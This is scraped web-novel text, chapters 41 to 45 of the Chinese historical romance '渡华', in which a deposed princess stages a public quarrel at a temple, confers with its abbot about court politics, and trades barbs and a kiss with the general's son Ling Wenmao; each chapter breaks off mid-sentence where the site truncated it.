吃尽闭门羹的费覃几日前去了一趟汇顶山,敬过香火钱后,再次返回城中找人疏通关系,争取说服离尘大师。 问题出在汇顶山的那个寺人身上。 自从费覃敬香火之后,那寺人就消失得无影无踪,连身怀奇技的影卫都跟不上他的行踪。 今日影卫回来两个人报信,是发现了不寻常。 “就这么跑了?” 凌文袤一句质疑的冷语,骇断正在禀报的影卫,影卫垂首讷讷应是。 “寺人的长相可还记得?”凌文袤嘴里问着,手却已经指向案牍上的纸墨笔砚,“把他画下来。”脑中一闪而过寺人的模样,是白言霈的容形。 凌文袤脑仁被搅得混沌不清。 突然冒出一个行踪可疑的寺人,总有意无意将人和白言霈联系在一起。 明知不可能是。 之前知道骆苕遣费覃前往中州,他把注意力一直放在中州,这片毗邻京都的重中之地,迟早要交给凌氏可信赖的臣下。 如今的中州刺史花景良,原本是先太子骆奂的幕僚,自从皇太子骆奂夭亡,大嵘多番变故,花景良也嗅出了大嵘的危机,静观其变,伺机投靠凌氏。 凌晖曾对凌文袤说过,中州刺史花景良为人重利轻谋,骁勇善战,与东南二州的州牧关系颇好,暂且可以用之。 花景良虽重利轻谋,但待手下极为宽宏,幕僚无数。 花景良有一女,名花凊,家中排行第二,人称花二娘,风闻花凊身高七尺八寸,孔武有力,常配长剑在侧,剑法犀利,跟随花景良斩杀过南峪大将,一时声名鹊起。 如今的花凊,以女子之身立足大嵘,流传的诡异名声早已盖过花景良。 中州歧城城守,正是花凊。 凌文袤抱臂,溢出一丝苦笑,这一笑包含诸多复杂。 斩杀过南峪大将这一条让他艳羡,笑得不是滋味。 花凊少时是骆苕的伴侍,二人关系匪浅,骆苕广织罗网牵涉甚广,这一条让凌文袤笑得很无奈。 他一直在被她牵着走,顺藤摸瓜,可一直不知道她要干什么。 影卫画完人像,朝麻纸吹了吹,不待墨迹干涸,揭角而起,悬在身前:“五郎主,请过目。” 凌文袤转头看画,第一眼就毫无意外地否定画中寺人为白言霈,凌文袤没见过白言霈,但早让人搜罗过白言霈的一切,相貌习性自然铭记在心。 第二眼对着画中寺人,额角搏动:“寺人竟蓄发?” 束着裸髻,也是一副光风霁月的长相,与那白言霈一路货色。 “颜丹青鬓,根本不像寺人。”另外一位影卫回禀,“属下后来仔细打探过,此人名易时安,法号也为时安。常年着一袭雪衣,在汇顶山六年一直打理桃林,每年开春之后赏花的香客便络绎不绝。汇顶山的小破庙从来没有修葺过,后院的茶寮、禅房更是破败不堪,可每逢月圆之日,他都会去城中的奢繁场所,把香火钱挥霍一空。” 凌文袤冷嗤一声:“倒是个会玩的假和尚。” 六年如此肆无忌惮,竟没人能管得了他。 “五郎主,是否要加派人手去搜寻?”影卫问。 凌文袤的眸光忽然停滞,盯着画像一动不动,视焦渐渐虚散,不知在想何事。 影卫未敢出声,好半晌才见凌文袤收去目光。 见凌文袤欲言又止,最后淡淡吩咐他们:“让人都撤回来,你们明日向大冢宰复命去。” 两位影卫面面相觑,再看一眼面前顿时消沉的五郎主,应声退去。 凌文袤坐向案牍,双臂撑在身后,仰头面向屋梁。 骆骞死后,顺势铲除了几位京中异党,现下确实不宜大动干戈。他父亲凌晖既然能肯定中州刺史花景良不敢出现异动,那旁的都是小事。 若说骆苕想勾结中州联系花景良,中州花景良未必敢与她相通。 除非凌氏失势。 大嵘立国之初的八柱国和十二大将军死的死,老的老,名望却尚在,子孙享其祖辈门荫,任职在大嵘各地。 他们可以默认支持凌氏上位,若凌氏无能,他们也可另做打算。 凌晖是防骆苕与京中的那些国公老将军们有所响应。 实则未曾发现。 易时安?一世安?一时安? 岐城花凊,也不知骆苕想折腾什么。 凌文袤起身打量书房,四壁如洗,除了书册也不知要添置些什么,许久没花心思在这上面了。 他甩了甩头,先空置着也成。 这几日凌晖忙于招贤纳谏,擢抜堪用之才。 想起贤才,每回伏旼这个名字都从凌文袤脑中划过,他仅仅见过伏旼两次,一次是宫宴上伏旼抚琴,一次是放伏旼出廷尉狱。 与伏旼同处相同空间时,总会按捺不住去探究这个人,想探究学识才能究竟几何,更想让伏旼为己所用。 还未探得才情如何,就想让人为己所用,还觉得此人一定堪用。 这种想法有些悖逆。 凌文袤倒想拿自己的八字与伏旼的去合一合,看看是否二人气场十分匹配。 白言霈和骆苕的先生,半生徘徊在朝堂之外郁郁寡欢。 若说他想入仕,当年有两人可举荐他,他却未入;若说他不想入仕,关心的都是天下兴亡的政事。 一介寒门庶族,骨气硬脸皮薄,最讲究体面,捱到如今岁数,寻常说辞大抵劝不动他入仕,倒可以推他一把,将他置于炭火之上炙烤,看他如何自救。 究竟有几分能耐,试一试也无妨。 倘若连自己性命都救不了,那是他气数已尽,可以 42. 第四十二章 《渡华》全本免费阅读 宁华长公主的仪仗车辇声势浩荡地驶往济虔寺。 金壁镂空飞檐香车,华盖锦绣,缀紫锦帷幕,四马牵引。 宫中遣来的内侍礼官在前做引马人,还有春官府指派的六位领马礼卫,护在车辇两侧。 十八位玄雀护卫拥着两纵各二十四人的内侍、宫俾,紧随其后。 这一副皇家气派,出现在道上,引路人纷纷避让侧目。 晨阳还未升起,趁着天凉前往济虔寺进香的供养人络绎不绝,此时下山的也不在少数,待长公主仪仗远去,大伙开始纷纷议论。 去济虔寺进香的大多为京中勋贵,人群里有人冲着车辇仪仗后的的宫人不解嘀咕:“如今都什么时候了,还自吹自擂,狐假虎威。落了发,不在自己的公主府好好待着,搞这么大的阵仗出来显威风,你说她是怎么想的?” 同行女子摇头搭腔:“谁知道呢。兴许是心里拗不过,尽可能地再以长公主的身份风光风光。” 女子喟叹:“大厦将倾还能风光无限,也算她命好。” 同行女子凑近女子耳畔:“大嵘倒了,她都倒不了,慕容家帮她扶得稳如泰山,还听闻大冢宰家的五儿郎已经有意于她,只等她还俗娶她呢,这往后的日子啊风光还是风光的,只不过没有长公主这般风光罢了。” 女子一愣,狐疑似的看向同行女子:“我怎的未听说凌家五郎这一事。” “你前几日躲哪儿凉快去了?也不见你同我说上一说。”同行女子撇撇嘴,“前几日这凌家五郎不知从哪儿冒出来,在御苑与那接亲的东刕大王子赛过一场骑射,你猜怎么着?” “怎么着?” “凌五郎输了骑射,当场摔弓大发一通脾气。还不顾东刕大王子的面子,色心骤起,一直追着在御苑祈完福的长公主不放,说能娶她,直接挑衅东刕大王子先前有意迎娶长公主之意,好在东刕人没计较,大冢宰好像也纵着自家儿郎胡闹。” “啊?输了还如此嚣张?真的假的?听谁说的?”女子眉心皱成一团,有些不信,“我怎么越听越糊涂,你确定没听错?” 闹着玩呢。 之前先帝骆骞还活着时,长公主和亲东刕的消息漫天飞,若长公主真和亲东刕,兴许大嵘还能再撑一撑,可骆骞一死,那便预示着大嵘没有一点余地了。 于凌氏而言,和亲之人自然安乐公主更合适。 东刕入京接亲祭天祈福,半路杀出个凌五郎追着长公主不放,直接挑衅东刕大王子,大冢宰还纵凌五郎胡闹。 什么时候面对东刕这般有骨气了? 流言七歪八拐后就不可全信了。 同行女子被连连反问,显得有些无奈,见前面的队伍已经远离,人群也开始移动,便携着同伴先上她们自己的车驾,二人坐稳后,她才说:“这些日子京中早传得沸沸扬扬,谁知哪些是真哪些是假,我也只是道听途说。问父亲跟阿兄,他们没告诉我,还让我少嚼舌根,在外也少打听。你瞧瞧今日长公主这有恃无恐的阵仗,倒像是那么回事,要不然我也想不起说她的事。” 女子的好奇心被旁人的八卦吊起,笃然道:“回头我问问我父亲,一准能问出个实情来。” 同行女子双眉一挑,说:“问出个实情,记得同我说道说道。听闻今年繁京队里充入了好些生面孔的儿郎,各个风神秀杰,仪表非凡,你好生物色物色,兴许能成就一段姻缘。” 女子轻咳一声,无趣地朝纱幕外望去。 她正苦恼家中在为她张罗议亲的事,给她相看的儿郎说是相貌堂堂,玉树临风,实则歪瓜裂枣,言语轻浮。 这些日子躲去京外亲戚家中昨日才归京,实在听不得姻缘二字。 繁京队的儿郎好赖都与她无关,先图个清静。 今日去济虔寺进香求的便是清净。 于是转了话题:“等了这么久,想必济虔寺的金漆该到了,你我二人供养的壁画今日得好生添一笔金漆。” 同行女子知道她有意转话题,叹了叹气也便转回到被长公主仪仗打断前的话题上,不咸不淡地谈论起京中的瓜果时鲜,诗文雅集。 惠风和畅,仪仗队车辇行至济虔寺山脚下,礼卫下马在石阶中间,前后牵起两副二丈长的步障。 申怡扶骆苕下车辇,送骆苕入步障。 内侍礼官一声威呼,骆苕拾阶而上。 公主府事先并未通告济虔寺今日要入寺,但仪仗浩荡,行至山下,山脚下的小沙弥得了信便飞快地往山上寺里奔告消息。 济虔寺的住持、知事还有一众僧侣,退在高耸巍峨的院门两侧目迎长公主上来。 济虔寺住持法号悟德,今日内着赭色僧袛支,外披蓝绿间色袈裟,双眼微眯,俯瞰徐徐而上的人群。 如蝼蚁般的人群跟在仪仗队后面慢慢蠕动,直至所有人快将石阶踩完时,悟德才换上虔诚的笑脸迎上去,双手合十恭敬迎长公主骆苕入济虔寺。 内侍礼官仔细交代悟德,长公主此次前来是为民康物阜祈福,并且需在济虔寺禅修小住,离开的时日未定,特嘱一切需听从长公主的吩咐。 悟德和顺地一一应下。 长公主从前也来济虔寺祈福,只是次数不多,离上次长公主来济虔寺,好像已经是很久之前的事了。 不过一切规矩悟德都还记得。 送行的仪仗队交代完也便辞行离去,等骆苕祈福、修禅结束后再来接人,留下玄雀卫的护卫和宫俾内侍留守在侧。 济虔寺有专门为皇家、勋贵预留的禅房寮室,但为皇家备下的禅房寮室早已落灰,悟德遣人洒扫焚香的这段时间里,骆苕需给观音进香祈福。 这一个时辰内,观音大殿禁止外人进来。 正值清晨,平日里来观音大殿祈福的香客原本就最多,今日遇上这样的事,全是好奇加打探的,静等长公主祈福结束。 在观音大殿外的人越聚越多,一眼望去全是黑压压望不到边的人头。 等骆苕一个时辰祈福完毕,骆苕从大殿后院直接离开,让众人只闻其人却不见其人,最后众人各自敬完香也便草草离开。 一连三日,清晨一个时辰,骆苕都是如此。 城中渐渐将长公主在济虔寺祈福的消息传得越来越广,来济虔寺的香客也越来越多。 从前听闻宁华长公主惯爱布施民众,却鲜少听闻宁华长公主在寺院禅修,有人猜测骆苕是否就此遁入佛门不再还俗,而有些人知道真实朝政,宫中余下的公主、皇女都将被指婚勋贵。 宁华长公主骆苕虽落发奉孝清修,但与凌五郎早已说不清道不明,嫁于凌氏似乎是早晚的事。 骆苕每日独占观音大殿一个时辰的行径,渐渐引来诸多不满。 一千个人就有一千个脾性,况且都是勋贵人家,有人避着骆氏皇族,就有人对骆氏皇族看不顺眼。 依附凌氏的新贵们自然不想就这么惯着即将落没的宁华长公主。 观音大殿外嘈杂抱怨声愈来愈烈,玄雀卫上前好言相劝,阻止他们出声,奈何男男女女太多,那一声劝阻犹如杯水车薪,根本止不住。 玄雀卫十八个侍卫,望着一片黑压压的人头心底都不由打了个寒噤,这么多人若是都涌进去,这罪责不知该如何担待,他们寻思着反过来劝宁华长公主应该更为有效。 两位领头的侍卫行至偏远处,紧眉低声交谈起来。 他们怕这样的场面之后不好掌控,商量着遣人下山去禀告凌统领。 陪在殿内的申怡看火候差不多后,起身往殿外走,跨过殿槛下阶穿过中堂,行至外殿,将将露了个头还未跨出去,只觉外面阶下的人瞬时静了许多。 申怡跨出外殿的门槛,清嗓微微欠身说道:“长公主祈福还有一炷香的时间,时辰未 43. 第四十三章 《渡华》全本免费阅读 一炷香过后,申怡准时往大殿内通禀。 站在殿外的众人觉得今日来济虔寺的这一趟非常值,各个翘首以盼,望眼欲穿,企盼着一会儿有好戏看,最好得见长公主盛颜。 闻着风往济虔寺来的好些人,原本就是来凑热闹,嫌日子过于寡淡的。 骆苕如愿而至,脸色异常难看,是一袭灰色僧袍压不住的犀利烦躁。 众人目迎骆苕过来,倒吸冷气的同时也贪婪地打量骆苕。 长公主并未如传言中的那般天姿国色,除了身量纤长,行走间透出几分不凡气度,整张颜面犹如僵死多时的鱼目,又像一幅浸过水在烈日下暴晒干涸的画卷。 浑身散发着索然无味。 骆苕俯瞰阒静无声的人群,眉心锁了又锁,似乎在等着什么。 申怡目光钳在贺兰淳脸上,含着淡淡笑意,若有似无地给予提示:“长公主亲自面见,女郎君怎的不说话?” 贺兰淳恍然回神,后退几步,双掌一握,垂首叉手行礼:“臣女贺兰淳拜见长公主。” 人群此起彼伏的拜见声这才响起。 众人拜礼,这才是适才骆苕等的。 骆苕昂首睨向一旁的贺兰淳,夺步将手中的告文直接在她脸前一扬,哀怒至极:“你就是那个逼本宫太甚的贺兰淳?为天下安康祈福不过一个时辰,就如此容不下本宫?这是本宫亲自写的告文,拿去便是!” 众人皆是一惊,纷纷抬眼。 贺兰淳花容被告文拂过激起涟漪,看着告文飘落躺在脚前,上面颤抖仓促的字迹跃入眼帘,心中不免一讶。 这长公主气得有点莫名其妙,目前身份还算华贵,出口却像泼妇,与事先预料的形象南辕北辙。 从前传闻长公主貌美,识大体,聪慧,宽宏,今日得见真人好似并无一处契合,反而一副失魂落魄戾气极重的模样,连笔触都未能幸免。 贺兰淳掀起眼睫,一脸镇定:“长公主实属冤枉臣女,臣女只不过是替大伙讨个明白,怎的就成了逼迫长公主?” 她蹲下身子捡起告文歪头看得认真,叹出声:“既然长公主已经写好告文,何苦藏着掖着,及早示于民众便不会有今日之事了,从即日起封锁观音大殿,供您一人敬香,那我们这些做臣子的就去别处拜。”她掸了掸告文,笑说,“臣女将告文贴在大殿门口。” 有人想凑上来探看贺兰淳手中的告文。 骆苕被贺兰淳巧笑轻松的样子气得五指发颤,伸手指着贺兰淳的鼻子,言语愈发冰冷:“简直目无尊卑,胆大包天,你父亲贺兰启臻在本宫面前尚且恭恭敬敬尊本宫一声长公主,你贺兰淳却没有半分礼数,言语轻浮,神行放浪,可有把本宫放在眼里?” 可真巧,前日骆苕才见过贺兰启臻,今日便撞上了他的女儿,正好拿她来做文章,省得再找旁的人旁的事寻找托词。 申怡适时握住骆苕的手臂,低语安抚:“殿下息怒。” 贺兰淳被一声声“本宫”挑得心尖犹如沾了毛桃的毛刺,奇痒难忍。 前些日子贺兰淳在御苑骑射场,远远瞧见过凌文袤和掩在步障内的骆苕,骆苕款步蹁跹,遮在步障后的容色引人遐想,好奇心催使贺兰淳来济虔寺借机会会传言中的长公主,看看到底是何等人物。 看过之后,与想象中的模样相差甚远,贺兰淳便没兴趣纠缠太深。 但骆苕非得提及自己的父亲,那就身不由己了。 贺兰淳慢慢起身同样扬了手中告文,一字一句道:“长公主火气如此之大,莫不是得了失心疯?不过一张简单告文而已,您避重就轻,撇开因由对错全然不顾,以长公主身份压制臣民,妄图将错加在臣女一人身上,臣女惶恐至极!” 在场的所有人被贺兰淳无所顾忌的言辞惊得心里咯噔,咯噔。 玄雀卫也被骆苕今日的行为迷惑住,一时难以理解,近到跟前不敢贸然劝解长公主,只是眼睛盯在贺兰淳身上,驳斥她的过分,让她赶紧住嘴。 与贺兰淳同行的几位女郎上前拉住贺兰淳,只能向骆苕反复一句:“长公主息怒。” 贺兰淳瞪向自己的同伴,但也缄口不再出声。 失心疯这一新鲜引子,瞬间敲中骆苕。 骆苕怒目瞭向众人,只觉众人像在观戏,所有的目光聚集在她身上,骆苕眸光躲闪着匆匆收回视线,看向申怡,颤颤着说:“她……她竟敢污蔑本宫得了失心疯……” 样子有些不知所措的滑稽。 申怡脸上浮着隐忍的薄怒,与骆苕对视一眼,领会其意,正欲舌剑指向贺兰淳,却被骆苕一把扣住,整个人被骆苕甩到身后。 骆苕亲自上阵。 “好你个贺兰淳,本宫指你目无尊卑,言语轻浮,你却避重就轻指责本宫不出一张简单告文,面对本宫,你惶恐过吗?从头到尾本宫没瞧出你半分惶恐,反倒一腔的污言秽语,一身的嬉皮笑脸……本宫……本宫要治你的罪!” 骆苕说得快,气得没了长公主的形状,可句句戳在了贺兰淳的肺管子上。 贺兰淳挣脱同伴的束缚,怕玄雀卫掣肘她发挥还特意后退两步,梗起脖子极为从容地说:“既要治我的罪,那我便将自己的罪再坐实一些……” 护卫见势越发不妙,上前阻止。 “本宫要听她说完!” 护卫被骆苕一声厉呵斥退。 贺兰淳嗤笑一声:“都什么时候了,还一口一个‘本宫’,你不嫌累我都替你嫌累。什么为民祈福,不过是仗着长公主的名号出来作威作福。几年都未见你吭过声,如今倒好,也不知做了谁人帐中禁脔,以为有人撑腰有了靠山,净出来丢人现眼。” 她意味深长地勾来一眼,“公主府那般的大还不够你折腾?”又慢慢说,“既要治我的罪,那将我所说之事一并查明,公诸于世,以正视听。也不枉我在观音大殿前高声喧哗,亵渎佛祖。” 事件发展到如此地步,早已忘记最初的目的,完全是泄一泄口舌私愤,互不相让。 骆苕望着气吐如兰的贺兰淳,突然觉得贺兰淳有一点点莫名的可爱。这一件事太顺利,以致于使劲烘托出来的怒火有些架不住了。 她吁气,贝齿一切,手指再次指向贺兰淳:“贺兰淳,你放肆!如今大嵘还姓骆,本宫……本宫依旧是绶印加身的长公主,谁敢让本宫做帐中禁脔!你竟敢屡屡出言不逊,本宫要治你污君枉上之罪!” 贺兰淳神色如常,还是振振有词: 44. 第四十四章 《渡华》全本免费阅读 申怡与一众宫俾内侍拥着骆苕回禅房。 申怡屏退干净宫俾内侍后,骆苕坐向软榻,毫无顾忌地轰然笑了出来,从前大多的笑都夹杂悲戚酸涩,今日算是真正的发泄大笑。 在申怡递来水接住时才慢慢将笑声隐退,抹去眼角的泪渍低头喝水。 申怡绞好巾帕给骆苕擦汗,低语相问:“殿下心中可舒坦些了?” 骆苕点头,摘下僧帽。 她的头发长的很快,一层乌黑柔密的短秀发裹在头颅生机勃勃,正如凌文袤说的那样,吃下肚的东西全来养它了。 骆苕搁下水盏接过巾帕擦头脸,浅浅地笑着:“这还是我生平第一次无形无状地撒泼,挺痛快的。” 申怡也含着笑:“幸好慕容公子来的迟,要不贺兰淳便被他阻拦下了。” 骆苕又笑得深了一些:“他早些来更好,连同他一起骂。” 申怡被骆苕得意的语气逗得摇了摇头,说:“这贺兰淳也不知谁给她的胆,竟如此狂妄,使女还生怕找不到个刺头,正好她自己撞了上来,没费使女多少口舌,真是难为殿下了。” 申怡还在介怀方才贺兰淳指摘的内容,但好似那些对长公主来说已经不重要了。 骆苕望着杯盏收起笑意,轻轻喊了一声申怡的名字,申怡望过来,骆苕才说:“她说的都是京都勋贵们的真实心境,并无差错。我从前用长公主身份所堆砌的贤德美名,溃散也只不过在旦夕之间,今日亲自将它从身上往外抽离,不说有多痛快,轻松豁然倒是不少。” 这一生贪恋的东西太过完满,除了贤德美名,还贪恋父蔼母慈,亲眷康顺,兴国安邦,与情郎白头偕老……到头来只得了个十之一二。 如此贪恋完满,骆苕知道自己的症结所在,是少时父皇母后给的太完满,乃至于觉得自己能将所有事情做得完满。 简直痴心妄想。 她要慢慢学会舍,先舍才有得,宁华长公主的名号所剩时日不多,被人褫夺倒不如拿来当做筹码,发挥残阳余热。 待到筹码越来越没价值,最后一文不值,她便没了与人站着相谈的条件。 站着相谈,她终究还是贪恋。 申怡静默着过来执扇送风,视线将禅房富丽四壁一寸一寸划过,最后落在眼前的伶仃倩影上:“殿下……”不想探求太多,只为确认一件事,“您真的决定断去与凌氏的姻亲?” 骆苕对此付诸一笑:“这大抵是我唯一能替自己做主的事,我不想为难自己。” 答案如此肯定,申怡还是隐隐透出担心,她想了想缓声道:“只怕,凌五郎对您不会善罢甘休。” “不会的。”骆苕无暇思量,只说,“我与他不会缔结姻缘,螽斯衍庆。” 她和他之间的关系,裙下臣,帐中禁脔,也就停止于此了。 申怡暗吁一气,不再出声。 长公主身份尊贵,傲气天成,若是放在从前,长公主终归是主,招的是驸马都尉,定也容不下驸马肆意乱来。 往后的话,以凌五郎那性子,也不知后宅会是个什么情形。 这二人若缔结姻缘,不是斗得你死我活,便是两看相厌,倒不如直接省去姻亲。 等兴头上的情淡去,或许也便会好些,凌五郎不再执着于姻亲。 再一个,长公主经历那么多变故,似乎也决定把私事看淡,才纵容凌五郎对她胡作非为。 “申怡。”骆苕唤时申怡还在出神,她缥缈的应了一声,听见骆苕说,“去告诉济虔寺住持,我要见他。” 申怡应了是,退去寻人。 她这才想起济虔寺住持悟德这几日都避着长公主,一切照应都交代一众寺婢,人不知道躲在何处。 ** 紧挨济虔寺旁侧的山峦高耸陡峭,半山腰凿了条横贯的挂壁函道,一侧连接济虔寺,一侧连接佛陀石窟。 往日里这里很热闹,供养人来往不绝。 住持悟德听闻长公主召见,便让人清了挂壁函道的场,由玄雀卫把手道口,引骆苕往函道深处走。 悟德双臂交在身前,脸上褪去住持一贯的慈眉善目,显出本真倦怠:“长公主入寺不让寺里发告文,这几日闹出这么大的动静,意欲何为?方才悟德替长公主拿了主意,在寺门口贴上告文示于民众,若不然这济虔寺的大门被人挤得水泄不通,发生踩踏可真不好收场。” 骆苕却道:“住持言重,你定不会让踩踏事件发生。” 悟德看了一眼骆苕身侧的申怡没说话,骆苕会意,吩咐申怡:“你在此候着。”又指了指前方伸出峭壁的崖台对悟德说,“借一步说话。” 二人登上崖台,大风从峭壁呼啦啦刮过,灌进函道,他们在风口谈话就无人听见。 骆苕望着崖台辽阔的天地问悟德:“你可还会入仕?如有意愿宁华替你向凌晖递上你的策论。” 这是骆苕十年来第四次对悟德说同样的话,只是这一次策论受主从孝玄帝骆炜诠变成了凌晖。 悟德原名韩悟,一名心气颇高的寒门学子,十年前徘徊在骆苕的“集贤堂”外,他犹豫了几日都未踏进“集贤堂”。 那年九岁的骆苕乘坐车驾,远远地停在街角观察韩悟好半晌,待车驾靠近“集贤堂”,韩悟拜礼后想赶紧退走。 “公子留步。”孩童骆苕却喊住了他,语言直接明了,“你若想入仕,宁华替你向父皇递上你的策论。” 一时,韩悟被骆苕清正的女童声怔住,片刻后他苦笑着再次谢礼退走。 高傲的自尊心不允许他沦落到让一位孩童察举入仕。 孩童骆苕没说什么,驱车驾离开时只是遣人赠送韩悟些许银钱。 韩悟接受银钱,望着远去的车驾茫然很久。 他没入仕,却来了这济虔寺,十年光阴从普通僧人成为了济虔寺的住持,可见手段了得。 从前韩悟最痛恶世家豪强操纵通官之道,让寒门学子无官路可进,如今却要与世家豪强狼狈为奸,帮助世家豪族掩藏侵吞田亩,逃避赋税,还要替世家豪族养育他们寄养在寺庙里的贵女金孙。 再次听闻骆苕同样的问话,韩悟感慨:“长公主还是一如既往地信任鄙人,鄙人惭愧至极。如今韩某只有一肚子的人情世故,哪里还有读书人的骨气,入仕还是算了罢。”又道,“倘若是长公主协管这天下,韩某定会鞠躬尽瘁,死而后已。” 骆苕但笑不语。 韩悟果真有一肚子的人情世故,恭维的话却可以手到擒来毫不违和。 韩悟问:“长公主此次前来可是为大嵘想好了对策?” 骆苕静了一瞬,眼望前方,说:“你这是在取笑宁华。”微扬下颌,“你看,自前年凌晖掌权起,大嵘开始碧波万顷,无天灾困扰……”深深叹息,“天命不在嵘。” “鄙人怎么会取笑长公主。”韩悟耸眉,“长公主切莫过分相信天命,天底下的事应当归为事在人为。” 骆苕问:“你的意思是大嵘还有希望?” 韩悟轻牵唇角叹息摇头,如实道:“大嵘主少国疑,人人自危,国家局势已定回天乏术。不过……长公主可以去争一争将来皇后的位置,以您的能力必会施展抱负,得获一番新天地。” 骆苕静默不语,听了韩悟的建议像在低眉沉思。 得获皇后的那片天地,毕竟皇后已经至高无上。 但骆苕却对后位不置一词,那个位置她同她母后一起已经经历过,毫无可恋之处。 片刻之后骆苕问:“我若有机会登得后位,你可愿意辅佐宁华?” 韩悟极目远眺,圆眸微眯:“长公主为何妄自菲薄?您背靠慕容氏,自身又贤良淑德令万民敬服,再佐以手段,这后位非您莫属。可您今早在观音大殿外闹那么一场,败了民众好感又得罪凌晖,鄙人实难理解。至于辅佐长公主,鄙人一直身在其中,何时脱过身?世家豪强侵占细田的罪证账簿,早已堆积成塔,就等着您来取。” 骆苕眉梢微跳,似笑非笑:“行军作战之人,战场上什么污言秽语没听过,成大事者不拘小节,凌晖不会在意女儿家的口舌之争,谈不上得罪。我也只不过借着女儿家的口舌之争,去正一正我宁华宁折不屈的威名。委身凌五郎,今早在观音大殿外的那些人会信,可你会信吗?凌晖会信吗?对我略知一二的朝中旧臣更不会信。既然他们不会信,何不去坐实他们一贯的猜想,纵使大嵘大势已去,我骆苕仍不是那个趋炎附势的宁华长公主。如此,才合常理。” 她顿了顿,问:“让我 45. 第四十五章 《渡华》全本免费阅读 凌文袤双掌撑上及胸高的石阑一言不发,时不时侧首深深地看骆苕一眼。 骆苕被看得有些发憷,再则面朝外有些冷,于是转身背靠上石阑,身子往下缩,将好石阑挡住大半张额面,只让长风削着半个脑袋。 凌文袤再一次扭头看骆苕时,目光停在她起皱的双唇,堪堪笑出一声:“长公主真是好有雅兴,城中人人疯传你疯了,你却在这与人谈笑风生,还谈得口干唇燥。” 骆苕舌尖克制地舔了舔唇角,无畏地反唇相讥:“才半日光景,就人人疯传我疯了,看来他们比我还要疯,真是好事不出门,坏事传千里。” 出门忘带口脂确实有些难受,原以为很快便会回禅房。 “你还知道是坏事?”凌文袤收掌抱胸,“解释解释今早的事。” 骆苕冷得也抱臂在胸前,一副散漫的样子:“没什么好解释的,就如他们说的,疯了,只不过没疯彻底,还能与人谈笑风生。” 凌文袤觉得胸口疼,她每一脚都踩在他料想不到的地方,前几日说让她冷静冷静,岂料她到处点爆竹,噼里啪啦全塞进他胸口炸。 惯爱积攒好名声的长公主,生生把自己给传疯了。 骆苕眼风里的人面朝她静默着一动不动,于是她抬眼说道:“我只不过从你身上偷学一手,你在京都城不要声誉只想做个纨绔,那我也可以不要声誉,做个疯子。” 凌文袤入京后出现众人面前的形象确实是个纨绔。 流连醉仙馆,御苑骑射输给加木后,大庭广众之下怒摔长弓,又众目睽睽之下强行将骆苕带离御前,反正声誉极差。 之后宴饮上,一身的流锦衣袍玉帯銙配上高调嚣张做派,狂言狂语还醉得一塌糊涂,都昭示他是一个酗酒的莽夫。 “为了什么?” 长风将凌文袤眼里的澄亮一点一点剪碎,覆上一层阴郁,他确实在浑水里将自己洗得脏一些。 骆苕轻松应答:“为了与你相衬。” 凌文袤眉心一蹙:“说实话。” 舌尖滑过贝齿,骆苕正了正色,唇角挂上浅笑,轻轻喊他:“凌宪,我知道你想要什么,想要军功对吗?” “只可惜你父亲不给你机会,将你和你的舅父赫连度兴圈在湧州,做那守河之主,还有你同母异父阿姊的夫家,或许会成为你坚实后盾,你父亲圈不住他们,就圈住你,圈你在京都。你想及早立军功必须抛弃一些贤名,让朝臣舍弃对你的期许,接受你只是个流连醉仙馆胸无点墨的武将,那你的父亲便会更有利地为世子凌承佐撒网铺路,给予你立军功的机会。虽不是万全之策,但目前你只有这一条路好走。” 凌文袤挑了眉:“我的路让你分析的越来越窄,确实不好走。” “难道不是事实?”骆苕若有所思,“兴许是我太浅薄没看出来还有其他路子,容我再想想。” 凌文袤见她一副假眉三道的样子,脸颊不由抽紧,放下双臂逼近,在她身前迎着冷风说:“剖析地头头是道,我要军功还需你配合才是。” 原来那晚酒宴她并不是只字未听,醉仙馆倒是记下了。 骆苕扬头,眼中腾起抗拒:“我不可能配合你。” 绝对不掺和他们凌家事,他有无立军功的机会,在于凌晖,不在于她。 凌文袤却对她说:“难道你还想让我流连醉仙馆?这你得配合。反正他们已经分不清,到底你是我帐中禁脔,还是我是你的裙下臣。” 骆苕脑袋拐过弯来听懂后如梗在喉,默然撇开脸。 凌文袤长气一舒:“该轮到你了,说说装疯卖傻为了什么?” 骆苕看他一眼,答的很快,像一早想好了答案:“贤名太盛怕掣肘你们凌氏掌权,招来杀身之祸,我见识过你们凌氏先礼后兵,所以尽早散一散贤名为好。” 凌文袤已经听不得胡话,眼尾随之再紧一下,单臂撑向石阑,圈骆苕进禁地,他身体慢慢下倾,把脸送到骆苕面前,缓缓吐露:“说实话……” 骆苕垂眼秾睫一抖,闻到他唇腔里漫出的夜息香香味,淡淡的很提神,也很生津,从前总从他身上闻到些乱七八糟的香气,混杂在一起并不好闻,今日才发现夜息香和他最契合。 此时骆苕脑中有些混乱,迟疑时听见他问,“你渴吗?” 骆苕将他的前后语句连起来在脑中过一遍,他是在问她渴不渴。 骆苕咽了咽干涩的咽喉,点了点头。 下一瞬干燥起皱的双唇就被他啄了一下。 只轻轻一下,没有停留,速度很快,他双唇的温热稍纵即逝。 骆苕倏地抬眼望着他起身,站直,放任他的视线越去前方。 这次竟然这么柔,可以做到点到为止。 她深吸气攥了攥手掌,又拿舌尖舔了舔唇角。 凌文袤眼望前方,单手打开腰间的鞶囊,从里头巾帕中拈出一簇碧绿的夜息香递给骆苕:“洗过了,将就着提提神。” 骆苕接过的手顿了顿,最后还是将整簇夜息香送入口中慢慢咀嚼,这个时候夜息香生津提神却不怎么止渴。 鼻腔吸气时清凉的喉咙被凉风再一刺激,骆苕干干地咳了两声后说:“夏日和夜息香很配。” 凌文袤心不在焉,视线轻扫过来,现在他只想做一件事,想过之后立即付出行动,上前揽过骆苕的腰,直接把她扛在了肩上。 骆苕七上八下神魂颠倒,来不及惊呼双手扶着僧帽急喊:“你这是干什么?!” 上一刻夜息香的好感被这一刻瞬间败光。 凌文袤长腿已经迈开:“看你累得神情不济,站没站相,这后山有一汪清泉,带你去喝水,嫌你走的慢。难不成你以为我要天为被,地为席和你行周公之礼?” 这话说的太直白太欠揍,耳朵不能听。 骆苕愤然狡辩:“我骑射俱佳,还有这身量怎么可能走得慢,你放我下来,再这样我要吐了!” 凌文袤放下轻如鸿毛的人,牵过她的手往前行:“也就你这体重和身量最实在,不会骗人。” 骆苕察觉今日的凌文袤有些古怪,至于哪里怪根本说不清。 不过半刻钟,骆苕便喝到了清泉水。 这汪清泉水原本就是为疲累的供养人准备,往日里熙熙攘攘,夏日来济虔寺这挂壁函道纳凉的更不在少数,今日难得只有两人。 还能听见叮咚泉水声。 